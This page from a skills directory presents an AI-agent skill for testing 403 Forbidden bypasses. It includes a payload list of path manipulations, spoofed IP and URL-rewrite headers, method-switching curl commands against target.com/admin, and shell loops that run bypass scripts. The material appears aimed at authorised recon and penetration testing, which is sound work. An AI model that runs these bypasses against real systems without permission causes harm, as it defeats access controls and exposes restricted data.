Skip to content
Back to skills

403Bypass

ASecurity

Automated 403 Forbidden bypass testing using Jason Haddix's techniques. USE WHEN you encounter 403 responses during recon, content discovery returns 403 paths, or user mentions 403 bypass, forbidden bypass, access control bypass, or WAF bypass.

  • 12 stars
  • 0 votes
  • 0 copies
  • 13 views
  • Added September 19, 2026
ai-agentsrustgobashtestinggitbackend

Works with

  • cli

Security analysis

A100/100

Pro scans all 3 files and shows the line behind each finding

Scanned September 19, 2026

npx -y skills add SecurityTalent/bugskill-ai --skill 403Bypass --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of 403Bypass?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for 403Bypass
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/securitytalent-403bypass/badge)](https://www.skillsdirectory.com/skills/securitytalent-403bypass)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: 403Bypass
description: Automated 403 Forbidden bypass testing using Jason Haddix's techniques. USE WHEN you encounter 403 responses during recon, content discovery returns 403 paths, or user mentions 403 bypass, forbidden bypass, access control bypass, or WAF bypass.
---

# 403 Bypass Skill

Automated testing of 403 Forbidden bypass techniques based on [Arcanum's hack_tips](https://github.com/Arcanum-Sec/hack_tips/blob/main/403bypass.md).

## When to Use

- Content discovery finds 403 paths
- Recon identifies forbidden endpoints
- User asks to bypass 403/forbidden
- Testing access control misconfigurations

## Quick Start

```bash
# Test single URL
~/clawd/skills/403Bypass/scripts/bypass403.sh https://target.com/admin

# Test multiple URLs from file
cat 403-urls.txt | xargs -I {} ~/clawd/skills/403Bypass/scripts/bypass403.sh {}

# Use nomore403 tool (more comprehensive)
nomore403 -u https://target.com/admin
```

## Bypass Techniques

### 1. URL Manipulation (Top 77 - Seclists jhaddix list)

These work best on config files and global dashboards:

```
/admin/?
//admin//
///admin///
/./admin/./
/admin??
/admin/?/
/admin/..
/admin/../
/admin/./
/admin/.
/admin/.//
/admin/*
/admin/%2f
/admin/%20
/admin/%09
/admin/%0a
/admin/%0d
/admin/%25
/admin/%23
/admin/%26
/admin/%3f
/admin/#
/admin/#/
/./admin
/..;/admin
/.;/admin
/;/admin
//;//admin
/%2e/admin
/admin/..;/
/admin.json
/admin/.json
/admin..;/
/admin;/
/admin%00
/admin.css
/admin.html
/admin?id=1
/admin~
/admin/°/
/admin/&
/admin/-
/admin\/\/
/admin/..%3B/
/admin/;%2f..%2f..%2f
/ADMIN
/admin/..\;/
/*/admin
/ADM+IN
```

### 2. Header Manipulation

Add these headers to requests:

```
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: localhost
X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Custom-IP-Authorization: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Host: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
X-Original-Method: GET
X-HTTP-Method-Override: GET
```

### 3. HTTP Method Switching

```bash
# Try different methods
curl -X POST https://target.com/admin
curl -X PUT https://target.com/admin
curl -X PATCH https://target.com/admin
curl -X DELETE https://target.com/admin
curl -X OPTIONS https://target.com/admin
curl -X TRACE https://target.com/admin
curl -X CONNECT https://target.com/admin
```

### 4. Protocol/Port Manipulation

```
# HTTP instead of HTTPS
http://target.com/admin

# Different ports
https://target.com:443/admin
https://target.com:8443/admin
https://target.com:80/admin
```

## Automated Tool

**Recommended:** [nomore403](https://github.com/devploit/nomore403)

```bash
# Install
go install github.com/devploit/nomore403@latest

# Use
nomore403 -u https://target.com/admin
nomore403 -u https://target.com/admin -m POST
```

## Why These Work

| Technique | Reason |
|-----------|--------|
| Multiple slashes | Servers normalize differently than WAFs |
| Dot segments (./, ../) | Path normalization bypasses access control |
| Query strings (?, ??) | Some checks only inspect path before ? |
| Special chars (;, #, *) | Break path validation routines |
| Encoding (%2f, %20) | WAFs decode once, server decodes again |
| Case variation (ADMIN) | Case-sensitive WAF, case-insensitive server |
| Extensions (.json, .css) | Extension-based filters miss these |
| Headers (X-Forwarded-For) | Backend trusts proxy headers for IP checks |

## Integration with Content Discovery

After running content discovery, extract 403s and test:

```bash
# Extract 403 URLs from ffuf results
cat *-discovery.json | jq -r '.results[] | select(.status == 403) | .url' > 403-urls.txt

# Test each one
while read url; do
  echo "=== Testing: $url ==="
  ~/clawd/skills/403Bypass/scripts/bypass403.sh "$url"
done < 403-urls.txt
```

## Script Reference

### scripts/bypass403.sh

Quick bypass tester for single URL:

```bash
~/clawd/skills/403Bypass/scripts/bypass403.sh <url>
```

Output shows status codes for each technique. Look for non-403 responses (200, 302, 401, 500 all indicate potential bypass).

### scripts/bypass403-batch.sh

Batch processing with parallel execution:

```bash
~/clawd/skills/403Bypass/scripts/bypass403-batch.sh <urls-file> [threads]
```

## References

- [Arcanum hack_tips - 403bypass.md](https://github.com/Arcanum-Sec/hack_tips/blob/main/403bypass.md)
- [nomore403 tool](https://github.com/devploit/nomore403)
- [HackTricks - 403 Bypass](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/403-and-401-bypasses)

Files in this skill

  • SKILL.md4.5 KB
  • scripts/bypass403-batch.sh1.4 KB
  • scripts/bypass403.sh4.8 KB

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.